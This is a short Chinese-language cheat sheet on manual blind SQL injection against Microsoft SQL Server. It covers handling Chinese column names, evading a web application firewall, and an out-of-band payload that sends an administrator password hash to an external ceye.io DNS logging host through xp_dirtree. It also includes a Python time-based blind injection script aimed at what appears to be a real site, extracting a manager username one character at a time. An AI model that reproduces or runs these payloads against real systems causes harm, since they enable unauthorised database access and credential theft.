mssql手工盲注

遇到中文的列名

利用unicode 进行单字节的转换

declare @s varchar(50);
set @s = N'拉';
select UniCode(@s),nchar(UniCode(@s));

绕狗sql 方法

利用dnslog 进行sql

  /xx.aspx?id='--/%2a%0a%3bDECLARE+%40host+varchar(1024)%3bSELECT+%40host%3dCONVERT(varchar(1024),(select+top+1+user_pwd+from+gt.dbo.dt_manager+where+id=1))%2b'.czj.pw2.lf0145.ceye.io'%3bEXEC('master..xp_dirtree+"\\'%2b%40host%2b'\foobar$"')%3b--%20a%2a/

中文回显

select nchar('21776')

URLdecode

/xx.aspx?id=1'--/* 2 ;DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),(select top 1 user_pwd from gt.dbo.dt_manager where id=1))+'.czj.pw2.lf0145.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');-- a*/

基于时间盲注脚本

import requests

import time

sqlstr=''

for i in range(1,33):

	for j in range(47,130):

		url="http://cxxzx.cn/xx.aspx?xx=1'--/*%0a%3bif+(ascii(substring((select+top+1+user_name+from+gt.dbo.dt_manager+where+id=1),{},1)))={}+WAITFOR+DELAY+'0%3a0%3a6'--%20a*/".format(i,j)

		print url

 		stime = time.time()

 		r=requests.post(url)

 		etime = time.time()

 		if etime-stime>5:

			sqlstr=sqlstr+chr(j)

			print sqlstr

			break

		if j == 129:

			quit()

print sqlstr

我

巴特西

mssql手工盲注

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